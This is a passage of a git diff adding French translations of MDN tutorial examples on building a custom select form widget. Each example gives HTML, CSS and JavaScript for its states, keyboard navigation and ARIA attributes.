+<h3 id="Contenu_HTML">Contenu HTML</h3>
+
+<pre class="brush: html">&lt;form class="no-widget"&gt;
+  &lt;select name="myFruit"&gt;
+    &lt;option&gt;Cerise&lt;/option&gt;
+    &lt;option&gt;Citron&lt;/option&gt;
+    &lt;option&gt;Banane&lt;/option&gt;
+    &lt;option&gt;Fraise&lt;/option&gt;
+    &lt;option&gt;Pomme&lt;/option&gt;
+  &lt;/select&gt;
+
+  &lt;div class="select"&gt;
+    &lt;span class="value"&gt;Cerise&lt;/span&gt;
+    &lt;ul class="optList hidden"&gt;
+      &lt;li class="option"&gt;Cerise&lt;/li&gt;
+      &lt;li class="option"&gt;Citron&lt;/li&gt;
+      &lt;li class="option"&gt;Banane&lt;/li&gt;
+      &lt;li class="option"&gt;Fraise&lt;/li&gt;
+      &lt;li class="option"&gt;Pomme&lt;/li&gt;
+    &lt;/ul&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="Contenu_CSS">Contenu CSS</h3>
+
+<pre class="brush: css">.widget select,
+.no-widget .select {
+  position : absolute;
+  left     : -5000em;
+  height   : 0;
+  overflow : hidden;
+}
+
+/* --------------- */
+/* Styles Requis   */
+/* --------------- */
+
+.select {
+  position: relative;
+  display : inline-block;
+}
+
+.select.active,
+.select:focus {
+  box-shadow: 0 0 3px 1px #227755;
+  outline: none;
+}
+
+.select .optList {
+  position: absolute;
+  top     : 100%;
+  left    : 0;
+}
+
+.select .optList.hidden {
+  max-height: 0;
+  visibility: hidden;
+}
+
+/* ------------ */
+/* Styles chic  */
+/* ------------ */
+
+.select {
+  font-size   : 0.625em; /* 10px */
+  font-family : Verdana, Arial, sans-serif;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */
+  width   : 10em; /* 100px */
+
+  border        : 0.2em solid #000; /* 2px */
+  border-radius : 0.4em; /* 4px */
+
+  box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */
+
+  background : #F0F0F0;
+  background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+  background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+}
+
+.select .value {
+  display  : inline-block;
+  width    : 100%;
+  overflow : hidden;
+
+  white-space   : nowrap;
+  text-overflow : ellipsis;
+  vertical-align: top;
+}
+
+.select:after {
+  content : "▼";
+  position: absolute;
+  z-index : 1;
+  height  : 100%;
+  width   : 2em; /* 20px */
+  top     : 0;
+  right   : 0;
+
+  padding-top : .1em;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  text-align : center;
+
+  border-left  : .2em solid #000;
+  border-radius: 0 .1em .1em 0;
+
+  background-color : #000;
+  color : #FFF;
+}
+
+.select .optList {
+  z-index : 2;
+
+  list-style: none;
+  margin : 0;
+  padding: 0;
+
+  background: #f0f0f0;
+  border: .2em solid #000;
+  border-top-width : .1em;
+  border-radius: 0 0 .4em .4em;
+
+  box-shadow: 0 .2em .4em rgba(0,0,0,.4);
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  min-width : 100%;
+  max-height: 10em; /* 100px */
+  overflow-y: auto;
+  overflow-x: hidden;
+}
+
+.select .option {
+  padding: .2em .3em;
+}
+
+.select .highlight {
+  background: #000;
+  color: #FFFFFF;
+}</pre>
+
+<h3 id="Contenu_JavaScript">Contenu JavaScript</h3>
+
+<pre class="brush: js">// ----------- //
+// UTILITAIRES //
+// ----------- //
+
+NodeList.prototype.forEach = function (callback) {
+  Array.prototype.forEach.call(this, callback);
+}
+
+// ------------------------- //
+// Définitions des fonctions //
+// ------------------------- //
+
+function deactivateSelect(select) {
+  if (!select.classList.contains('active')) return;
+
+  var optList = select.querySelector('.optList');
+
+  optList.classList.add('hidden');
+  select.classList.remove('active');
+}
+
+function activeSelect(select, selectList) {
+  if (select.classList.contains('active')) return;
+
+  selectList.forEach(deactivateSelect);
+  select.classList.add('active');
+};
+
+function toggleOptList(select, show) {
+  var optList = select.querySelector('.optList');
+
+  optList.classList.toggle('hidden');
+}
+
+function highlightOption(select, option) {
+  var optionList = select.querySelectorAll('.option');
+
+  optionList.forEach(function (other) {
+    other.classList.remove('highlight');
+  });
+
+  option.classList.add('highlight');
+};
+
+function updateValue(select, index) {
+  var nativeWidget = select.previousElementSibling;
+  var value = select.querySelector('.value');
+  var optionList = select.querySelectorAll('.option');
+
+  nativeWidget.selectedIndex = index;
+  value.innerHTML = optionList[index].innerHTML;
+  highlightOption(select, optionList[index]);
+};
+
+function getIndex(select) {
+  var nativeWidget = select.previousElementSibling;
+
+  return nativeWidget.selectedIndex;
+};
+
+// -------------------- //
+// Liens aux événements //
+// -------------------- //
+
+window.addEventListener("load", function () {
+  var form = document.querySelector('form');
+
+  form.classList.remove("no-widget");
+  form.classList.add("widget");
+});
+
+window.addEventListener('load', function () {
+  var selectList = document.querySelectorAll('.select');
+
+  selectList.forEach(function (select) {
+    var optionList = select.querySelectorAll('.option');
+
+    optionList.forEach(function (option) {
+      option.addEventListener('mouseover', function () {
+        highlightOption(select, option);
+      });
+    });
+
+    select.addEventListener('click', function (event) {
+      toggleOptList(select);
+    });
+
+    select.addEventListener('focus', function (event) {
+      activeSelect(select, selectList);
+    });
+
+    select.addEventListener('blur', function (event) {
+      deactivateSelect(select);
+    });
+  });
+});
+
+window.addEventListener('load', function () {
+  var selectList = document.querySelectorAll('.select');
+
+  selectList.forEach(function (select) {
+    var optionList = select.querySelectorAll('.option'),
+        selectedIndex = getIndex(select);
+
+    select.tabIndex = 0;
+    select.previousElementSibling.tabIndex = -1;
+
+    updateValue(select, selectedIndex);
+
+    optionList.forEach(function (option, index) {
+      option.addEventListener('click', function (event) {
+        updateValue(select, index);
+      });
+    });
+
+    select.addEventListener('keyup', function (event) {
+      var length = optionList.length,
+          index  = getIndex(select);
+
+      if (event.keyCode === 40 &amp;&amp; index &lt; length - 1) { index++; }
+      if (event.keyCode === 38 &amp;&amp; index &gt; 0) { index--; }
+
+      updateValue(select, index);
+    });
+  });
+});</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{ EmbedLiveSample('Change_states') }}</p>
diff --git a/files/fr/web/guide/html/formulaires/comment_construire_des_widgets_de_formulaires_personnalisés/example_5/index.html b/files/fr/web/guide/html/formulaires/comment_construire_des_widgets_de_formulaires_personnalisés/example_5/index.html
new file mode 100644
index 0000000000..bf1143d186
--- /dev/null
+++ b/files/fr/web/guide/html/formulaires/comment_construire_des_widgets_de_formulaires_personnalisés/example_5/index.html
@@ -0,0 +1,290 @@
+---
+title: Exemple 5
+slug: >-
+  Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Example_5
+tags:
+  - Formulaires
+  - HTML
+translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_5
+---
+<p>Voici le dernier exemple expliquant <a href="/fr/docs/HTML/Forms/How_to_build_custom_form_widgets" title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets">comment construire des widgets de formulaire personnalisés</a>.</p>
+
+<h2 id="Change_states" name="Change_states">Changement d'état</h2>
+
+<h3 id="Contenu_HTML">Contenu HTML</h3>
+
+<pre class="brush: html">&lt;form class="no-widget"&gt;
+  &lt;select name="myFruit"&gt;
+    &lt;option&gt;Cerise&lt;/option&gt;
+    &lt;option&gt;Citron&lt;/option&gt;
+    &lt;option&gt;Banane&lt;/option&gt;
+    &lt;option&gt;Fraise&lt;/option&gt;
+    &lt;option&gt;Pomme&lt;/option&gt;
+  &lt;/select&gt;
+
+  &lt;div class="select" role="listbox"&gt;
+    &lt;span class="value"&gt;Cerise&lt;/span&gt;
+    &lt;ul class="optList hidden" role="presentation"&gt;
+      &lt;li class="option" role="option" aria-selected="true"&gt;Cerise&lt;/li&gt;
+      &lt;li class="option" role="option"&gt;Citron&lt;/li&gt;
+      &lt;li class="option" role="option"&gt;Banane&lt;/li&gt;
+      &lt;li class="option" role="option"&gt;Fraise&lt;/li&gt;
+      &lt;li class="option" role="option"&gt;Pomme&lt;/li&gt;
+    &lt;/ul&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="Contenu_CSS">Contenu CSS</h3>
+
+<pre class="brush: css">.widget select,
+.no-widget .select {
+  position : absolute;
+  left     : -5000em;
+  height   : 0;
+  overflow : hidden;
+}
+
+/* --------------- */
+/* Styles Requis   */
+/* --------------- */
+
+.select {
+  position: relative;
+  display : inline-block;
+}
+
+.select.active,
+.select:focus {
+  box-shadow: 0 0 3px 1px #227755;
+  outline: none;
+}
+
+.select .optList {
+  position: absolute;
+  top     : 100%;
+  left    : 0;
+}
+
+.select .optList.hidden {
+  max-height: 0;
+  visibility: hidden;
+}
+
+/* ------------ */
+/* Styles Chic  */
+/* ------------ */
+
+.select {
+  font-size   : 0.625em; /* 10px */
+  font-family : Verdana, Arial, sans-serif;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */
+  width   : 10em; /* 100px */
+
+  border        : 0.2em solid #000; /* 2px */
+  border-radius : 0.4em; /* 4px */
+
+  box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */
+
+  background : #F0F0F0;
+  background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+  background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+}
+
+.select .value {
+  display  : inline-block;
+  width    : 100%;
+  overflow : hidden;
+
+  white-space   : nowrap;
+  text-overflow : ellipsis;
+  vertical-align: top;
+}
+
+.select:after {
+  content : "▼";
+  position: absolute;
+  z-index : 1;
+  height  : 100%;
+  width   : 2em; /* 20px */
+  top     : 0;
+  right   : 0;
+
+  padding-top : .1em;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  text-align : center;
+
+  border-left  : .2em solid #000;
+  border-radius: 0 .1em .1em 0;
+
+  background-color : #000;
+  color : #FFF;
+}
+
+.select .optList {
+  z-index : 2;
+
+  list-style: none;
+  margin : 0;
+  padding: 0;
+
+  background: #f0f0f0;
+  border: .2em solid #000;
+  border-top-width : .1em;
+  border-radius: 0 0 .4em .4em;
+
+  box-shadow: 0 .2em .4em rgba(0,0,0,.4);
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  min-width : 100%;
+  max-height: 10em; /* 100px */
+  overflow-y: auto;
+  overflow-x: hidden;
+}
+
+.select .option {
+  padding: .2em .3em;
+}
+
+.select .highlight {
+  background: #000;
+  color: #FFFFFF;
+}</pre>
+
+<h3 id="Contenu_JavaScript">Contenu JavaScript</h3>
+
+<pre class="brush: js">// ----------- //
+// UTILITAIRES //
+// ----------- //
+
+NodeList.prototype.forEach = function (callback) {
+  Array.prototype.forEach.call(this, callback);
+}
+
+// ------------------------- //
+// Définitions des fonctions //
+// ------------------------- //
+
+function deactivateSelect(select) {
+  if (!select.classList.contains('active')) return;
+
+  var optList = select.querySelector('.optList');
+
+  optList.classList.add('hidden');
+  select.classList.remove('active');
+}
+
+function activeSelect(select, selectList) {
+  if (select.classList.contains('active')) return;
+
+  selectList.forEach(deactivateSelect);
+  select.classList.add('active');
+};
+
+function toggleOptList(select, show) {
+  var optList = select.querySelector('.optList');
+
+  optList.classList.toggle('hidden');
+}
+
+function highlightOption(select, option) {
+  var optionList = select.querySelectorAll('.option');
+
+  optionList.forEach(function (other) {
+    other.classList.remove('highlight');
+  });
+
+  option.classList.add('highlight');
+};
+
+function updateValue(select, index) {
+  var nativeWidget = select.previousElementSibling;
+  var value = select.querySelector('.value');
+  var optionList = select.querySelectorAll('.option');
+
+  optionList.forEach(function (other) {
+    other.setAttribute('aria-selected', 'false');
+  });
+
+  optionList[index].setAttribute('aria-selected', 'true');
+
+  nativeWidget.selectedIndex = index;
+  value.innerHTML = optionList[index].innerHTML;
+  highlightOption(select, optionList[index]);
+};
+
+function getIndex(select) {
+  var nativeWidget = select.previousElementSibling;
+
+  return nativeWidget.selectedIndex;
+};
+
+// -------------------- //
+// Liens aux événements //
+// -------------------- //
+
+window.addEventListener("load", function () {
+  var form = document.querySelector('form');
+
+  form.classList.remove("no-widget");
+  form.classList.add("widget");
+});
+
+window.addEventListener('load', function () {
+  var selectList = document.querySelectorAll('.select');
+
+  selectList.forEach(function (select) {
+    var optionList = select.querySelectorAll('.option'),
+        selectedIndex = getIndex(select);
+
+    select.tabIndex = 0;
+    select.previousElementSibling.tabIndex = -1;
+
+    updateValue(select, selectedIndex);
+
+    optionList.forEach(function (option, index) {
+      option.addEventListener('mouseover', function () {
+        highlightOption(select, option);
+      });
+
+      option.addEventListener('click', function (event) {
+        updateValue(select, index);
+      });
+    });
+
+    select.addEventListener('click', function (event) {
+      toggleOptList(select);
+    });
+
+    select.addEventListener('focus', function (event) {
+      activeSelect(select, selectList);
+    });
+
+    select.addEventListener('blur', function (event) {
+      deactivateSelect(select);
+    });
+
+    select.addEventListener('keyup', function (event) {
+      var length = optionList.length,
+          index  = getIndex(select);
+
+      if (event.keyCode === 40 &amp;&amp; index &lt; length - 1) { index++; }
+      if (event.keyCode === 38 &amp;&amp; index &gt; 0) { index--; }
+
+      updateValue(select, index);
+    });
+  });
+});
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{ EmbedLiveSample('Change_states') }}</p>
diff --git a/files/fr/web/guide/html/formulaires/comment_construire_des_widgets_de_formulaires_personnalisés/exemple_1/index.html b/files/fr/web/guide/html/formulaires/comment_construire_des_widgets_de_formulaires_personnalisés/exemple_1/index.html
new file mode 100644
index 0000000000..045f631079
--- /dev/null
+++ b/files/fr/web/guide/html/formulaires/comment_construire_des_widgets_de_formulaires_personnalisés/exemple_1/index.html
@@ -0,0 +1,420 @@
+---
+title: Exemple 1
+slug: >-
+  Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Exemple_1
+tags:
+  - Formulaires
+  - Guide
+  - HTML
+translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_1
+---
+<p>C'est le premier exemple de code qui explique <a href="/fr/docs/Web/Guide/HTML/Forms/How_to_build_custom_form_widgets">comment construire un widget de formulaire personnalisé</a>.</p>
+
+<h2 id="Basic_state" name="Basic_state">État initial</h2>
+
+<h3 id="Basic_state_HTML" name="Basic_state_HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="select"&gt;
+  &lt;span class="value"&gt;Cerise&lt;/span&gt;
+  &lt;ul class="optList hidden"&gt;
+    &lt;li class="option"&gt;Cerise&lt;/li&gt;
+    &lt;li class="option"&gt;Citron&lt;/li&gt;
+    &lt;li class="option"&gt;Banane&lt;/li&gt;
+    &lt;li class="option"&gt;Fraise&lt;/li&gt;
+    &lt;li class="option"&gt;Pomme&lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Basic_state_CSS" name="Basic_state_CSS">CSS</h3>
+
+<pre class="brush: css">/* --------------- */
+/* Styles Requis   */
+/* --------------- */
+
+.select {
+  position: relative;
+  display : inline-block;
+}
+
+.select.active,
+.select:focus {
+  box-shadow: 0 0 3px 1px #227755;
+  outline: none;
+}
+
+.select .optList {
+  position: absolute;
+  top     : 100%;
+  left    : 0;
+}
+
+.select .optList.hidden {
+  max-height: 0;
+  visibility: hidden;
+}
+
+/* ------------ */
+/* Style  Chic  */
+/* ------------ */
+
+.select {
+  font-size   : 0.625em; /* 10px */
+  font-family : Verdana, Arial, sans-serif;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */
+  width   : 10em; /* 100px */
+
+  border        : 0.2em solid #000; /* 2px */
+  border-radius : 0.4em; /* 4px */
+
+  box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */
+
+  background : #F0F0F0;
+  background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+  background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+}
+
+.select .value {
+  display  : inline-block;
+  width    : 100%;
+  overflow : hidden;
+
+  white-space   : nowrap;
+  text-overflow : ellipsis;
+  vertical-align: top;
+}
+
+.select:after {
+  content : "▼";
+  position: absolute;
+  z-index : 1;
+  height  : 100%;
+  width   : 2em; /* 20px */
+  top     : 0;
+  right   : 0;
+
+  padding-top : .1em;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  text-align : center;
+
+  border-left  : .2em solid #000;
+  border-radius: 0 .1em .1em 0;
+
+  background-color : #000;
+  color : #FFF;
+}
+
+.select .optList {
+  z-index : 2;
+
+  list-style: none;
+  margin : 0;
+  padding: 0;
+
+  background: #f0f0f0;
+  border: .2em solid #000;
+  border-top-width : .1em;
+  border-radius: 0 0 .4em .4em;
+
+  box-shadow: 0 .2em .4em rgba(0,0,0,.4);
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  min-width : 100%;
+  max-height: 10em; /* 100px */
+  overflow-y: auto;
+  overflow-x: hidden;
+}
+
+.select .option {
+  padding: .2em .3em;
+}
+
+.select .highlight {
+  background: #000;
+  color: #FFFFFF;
+}
+</pre>
+
+<h3 id="Resultat_pour_l'état_initial">Resultat pour l'état initial</h3>
+
+<div>{{ EmbedLiveSample("Basic_state", 120, 130) }}</div>
+
+<h2 id="Active_state" name="Active_state">État actif</h2>
+
+<h3 id="Active_state_HTML" name="Active_state_HTML">HTML</h3>
+
+<pre class="brush:html">&lt;div class="select active"&gt;
+  &lt;span class="value"&gt;Cerise&lt;/span&gt;
+  &lt;ul class="optList hidden"&gt;
+    &lt;li class="option"&gt;Cerise&lt;/li&gt;
+    &lt;li class="option"&gt;Citron&lt;/li&gt;
+    &lt;li class="option"&gt;Banane&lt;/li&gt;
+    &lt;li class="option"&gt;Fraise&lt;/li&gt;
+    &lt;li class="option"&gt;Pomme&lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Active_state_CSS" name="Active_state_CSS">CSS</h3>
+
+<pre class="brush:css">/* --------------- */
+/* Styles Requis   */
+/* --------------- */
+
+.select {
+  position: relative;
+  display : inline-block;
+}
+
+.select.active,
+.select:focus {
+  box-shadow: 0 0 3px 1px #227755;
+  outline: none;
+}
+
+.select .optList {
+  position: absolute;
+  top     : 100%;
+  left    : 0;
+}
+
+.select .optList.hidden {
+  max-height: 0;
+  visibility: hidden;
+}
+
+/* ------------ */
+/* Style  Chic  */
+/* ------------ */
+
+.select {
+  font-size   : 0.625em; /* 10px */
+  font-family : Verdana, Arial, sans-serif;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */
+  width   : 10em; /* 100px */
+
+  border        : 0.2em solid #000; /* 2px */
+  border-radius : 0.4em; /* 4px */
+
+  box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */
+
+  background : #F0F0F0;
+  background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+  background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+}
+
+.select .value {
+  display  : inline-block;
+  width    : 100%;
+  overflow : hidden;
+
+  white-space   : nowrap;
+  text-overflow : ellipsis;
+  vertical-align: top;
+}
+
+.select:after {
+  content : "▼";
+  position: absolute;
+  z-index : 1;
+  height  : 100%;
+  width   : 2em; /* 20px */
+  top     : 0;
+  right   : 0;
+
+  padding-top : .1em;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  text-align : center;
+
+  border-left  : .2em solid #000;
+  border-radius: 0 .1em .1em 0;
+
+  background-color : #000;
+  color : #FFF;
+}
+
+.select .optList {
+  z-index : 2;
+
+  list-style: none;
+  margin : 0;
+  padding: 0;
+
+  background: #f0f0f0;
+  border: .2em solid #000;
+  border-top-width : .1em;
+  border-radius: 0 0 .4em .4em;
+
+  box-shadow: 0 .2em .4em rgba(0,0,0,.4);
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  min-width : 100%;
+  max-height: 10em; /* 100px */
+  overflow-y: auto;
+  overflow-x: hidden;
+}
+
+.select .option {
+  padding: .2em .3em;
+}
+
+.select .highlight {
+  background: #000;
+  color: #FFFFFF;
+}</pre>
+
+<h3 id="Résultat_pour_état_actif">Résultat pour état actif</h3>
+
+<div>{{ EmbedLiveSample("Active_state", 120, 130) }}</div>
+
+<h2 id="Open_state" name="Open_state">État ouvert</h2>
+
+<h3 id="Open_state_HTML" name="Open_state_HTML">HTML</h3>
+
+<pre class="brush:html">&lt;div class="select active"&gt;
+  &lt;span class="value"&gt;Cerise&lt;/span&gt;
+  &lt;ul class="optList"&gt;
+    &lt;li class="option highlight"&gt;Cerise&lt;/li&gt;
+    &lt;li class="option"&gt;Citron&lt;/li&gt;
+    &lt;li class="option"&gt;Banane&lt;/li&gt;
+    &lt;li class="option"&gt;Fraise&lt;/li&gt;
+    &lt;li class="option"&gt;Pomme&lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Open_state_CSS" name="Open_state_CSS">CSS</h3>
+
+<pre class="brush:css">/* --------------- */
+/* Styles Requis   */
+/* --------------- */
+
+.select {
+  position: relative;
+  display : inline-block;
+}
+
+.select.active,
+.select:focus {
+  box-shadow: 0 0 3px 1px #227755;
+  outline: none;
+}
+
+.select .optList {
+  position: absolute;
+  top     : 100%;
+  left    : 0;
+}
+
+.select .optList.hidden {
+  max-height: 0;
+  visibility: hidden;
+}
+
+/* ------------ */
+/* Style  Chic  */
+/* ------------ */
+
+.select {
+  font-size   : 0.625em; /* 10px */
+  font-family : Verdana, Arial, sans-serif;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */
+  width   : 10em; /* 100px */
+
+  border        : 0.2em solid #000; /* 2px */
+  border-radius : 0.4em; /* 4px */
+
+  box-shadow : 0 0.1em 0.2em rgba(0, 0, 0, .45); /* 0 1px 2px */
+
+  background : #F0F0F0;
+  background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+  background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+}
+
+.select .value {
+  display  : inline-block;
+  width    : 100%;
+  overflow : hidden;
+
+  white-space   : nowrap;
+  text-overflow : ellipsis;
+  vertical-align: top;
+}
+
+.select:after {
+  content : "▼";
+  position: absolute;
+  z-index : 1;
+  height  : 100%;
+  width   : 2em; /* 20px */
+  top     : 0;
+  right   : 0;
+
+  padding-top : .1em;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  text-align : center;
+
+  border-left  : .2em solid #000;
+  border-radius: 0 .1em .1em 0;
+
+  background-color : #000;
+  color : #FFF;
+}
+
+.select .optList {
+  z-index : 2;
+
+  list-style: none;
+  margin : 0;
+  padding: 0;
+
+  background: #f0f0f0;
+  border: .2em solid #000;
+  border-top-width : .1em;
+  border-radius: 0 0 .4em .4em;
+
+  box-shadow: 0 .2em .4em rgba(0,0,0,.4);
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  min-width : 100%;
+  max-height: 10em; /* 100px */
+  overflow-y: auto;
+  overflow-x: hidden;
+}
+
+.select .option {
+  padding: .2em .3em;
+}
+
+.select .highlight {
+  background: #000;
+  color: #FFF;
+}</pre>
+
+<h3 id="Resultat_pour_état_ouvert">Resultat pour état ouvert</h3>
+
+<div>{{ EmbedLiveSample("Open_state", 120, 130) }}</div>
diff --git a/files/fr/web/guide/html/formulaires/comment_construire_des_widgets_de_formulaires_personnalisés/exemple_2/index.html b/files/fr/web/guide/html/formulaires/comment_construire_des_widgets_de_formulaires_personnalisés/exemple_2/index.html
new file mode 100644
index 0000000000..dfb0eb3b6a
--- /dev/null
+++ b/files/fr/web/guide/html/formulaires/comment_construire_des_widgets_de_formulaires_personnalisés/exemple_2/index.html
@@ -0,0 +1,215 @@
+---
+title: Exemple 2
+slug: >-
+  Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Exemple_2
+tags:
+  - Formulaires
+  - HTML
+translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_2
+---
+<p>Ceci est le deuxième exemple expliquant comment <a href="/fr/docs/HTML/Forms/How_to_build_custom_form_widgets" title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets">construire un formulaire personnalisé</a>.</p>
+
+<h2 id="JS" name="JS">JS</h2>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">&lt;form class="no-widget"&gt;
+  &lt;select name="myFruit"&gt;
+      &lt;option&gt;Cerise&lt;/option&gt;
+      &lt;option&gt;Citron&lt;/option&gt;
+      &lt;option&gt;Banane&lt;/option&gt;
+      &lt;option&gt;Fraise&lt;/option&gt;
+      &lt;option&gt;Pomme&lt;/option&gt;
+  &lt;/select&gt;
+
+  &lt;div class="select"&gt;
+    &lt;span class="value"&gt;Cerise&lt;/span&gt;
+    &lt;ul class="optList hidden"&gt;
+      &lt;li class="option"&gt;Cerise&lt;/li&gt;
+      &lt;li class="option"&gt;Citron&lt;/li&gt;
+      &lt;li class="option"&gt;Banane&lt;/li&gt;
+      &lt;li class="option"&gt;Fraise&lt;/li&gt;
+      &lt;li class="option"&gt;Pomme&lt;/li&gt;
+    &lt;/ul&gt;
+  &lt;/div&gt;
+&lt;form&gt;
+</pre>
+
+<h3 id="CSS_Content">CSS Content</h3>
+
+<pre class="brush: css">.widget select,
+.no-widget .select {
+  position : absolute;
+  left     : -5000em;
+  height   : 0;
+  overflow : hidden;
+}
+
+/* --------------- */
+/* Styles requis   */
+/* --------------- */
+
+.select {
+  position: relative;
+  display : inline-block;
+}
+
+.select.active,
+.select:focus {
+  box-shadow: 0 0 3px 1px #227755;
+  outline: none;
+}
+
+.select .optList {
+  position: absolute;
+  top     : 100%;
+  left    : 0;
+}
+
+.select .optList.hidden {
+  max-height: 0;
+  visibility: hidden;
+}
+
+/* ------------ */
+/* Styles décor */
+/* ------------ */
+
+.select {
+  font-size   : 0.625em; /* 10px */
+  font-family : Verdana, Arial, sans-serif;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */
+  width   : 10em; /* 100px */
+
+  border        : 0.2em solid #000; /* 2px */
+  border-radius : 0.4em; /* 4px */
+
+  box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */
+
+  background : #F0F0F0;
+  background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+  background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+}
+
+.select .value {
+  display  : inline-block;
+  width    : 100%;
+  overflow : hidden;
+
+  white-space   : nowrap;
+  text-overflow : ellipsis;
+  vertical-align: top;
+}
+
+.select:after {
+  content : "▼";
+  position: absolute;
+  z-index : 1;
+  height  : 100%;
+  width   : 2em; /* 20px */
+  top     : 0;
+  right   : 0;
+
+  padding-top : .1em;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  text-align : center;
+
+  border-left  : .2em solid #000;
+  border-radius: 0 .1em .1em 0;
+
+  background-color : #000;
+  color : #FFF;
+}
+
+.select .optList {
+  z-index : 2;
+
+  list-style: none;
+  margin : 0;
+  padding: 0;
+
+  background: #f0f0f0;
+  border: .2em solid #000;
+  border-top-width : .1em;
+  border-radius: 0 0 .4em .4em;
+
+  box-shadow: 0 .2em .4em rgba(0,0,0,.4);
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  min-width : 100%;
+  max-height: 10em; /* 100px */
+  overflow-y: auto;
+  overflow-x: hidden;
+}
+
+.select .option {
+  padding: .2em .3em;
+}
+
+.select .highlight {
+  background: #000;
+  color: #FFFFFF;
+}</pre>
+
+<h3 id="Contenu_JavaScript">Contenu JavaScript</h3>
+
+<pre class="brush: js">window.addEventListener("load", function () {
+  var form = document.querySelector('form');
+
+  form.classList.remove("no-widget");
+  form.classList.add("widget");
+});</pre>
+
+<h3 id="Résultat_avec_JavaScript">Résultat avec JavaScript</h3>
+
+<p>{{ EmbedLiveSample('JS', 120, 130) }}</p>
+
+<h2 id="No_JS" name="No_JS">Sans JS</h2>
+
+<h3 id="HTML_Content_2">HTML Content</h3>
+
+<pre class="brush: html">&lt;form class="no-widget"&gt;
+  &lt;select name="myFruit"&gt;
+      &lt;option&gt;Cerise&lt;/option&gt;
+      &lt;option&gt;Citron&lt;/option&gt;
+      &lt;option&gt;Banane&lt;/option&gt;
+      &lt;option&gt;Fraise&lt;/option&gt;
+      &lt;option&gt;Pomme&lt;/option&gt;
+  &lt;/select&gt;
+
+  &lt;div class="select"&gt;
+    &lt;span class="value"&gt;Cerise&lt;/span&gt;
+    &lt;ul class="optList hidden"&gt;
+      &lt;li class="option"&gt;Cerise&lt;/li&gt;
+      &lt;li class="option"&gt;Citron&lt;/li&gt;
+      &lt;li class="option"&gt;Banane&lt;/li&gt;
+      &lt;li class="option"&gt;Fraise&lt;/li&gt;
+      &lt;li class="option"&gt;Pomme&lt;/li&gt;
+    &lt;/ul&gt;
+  &lt;/div&gt;
+&lt;form&gt;</pre>
+
+<h3 id="CSS_Content_2">CSS Content</h3>
+
+<pre class="brush: css">.widget select,
+.no-widget .select {
+  position : absolute;
+  left     : -5000em;
+  height   : 0;
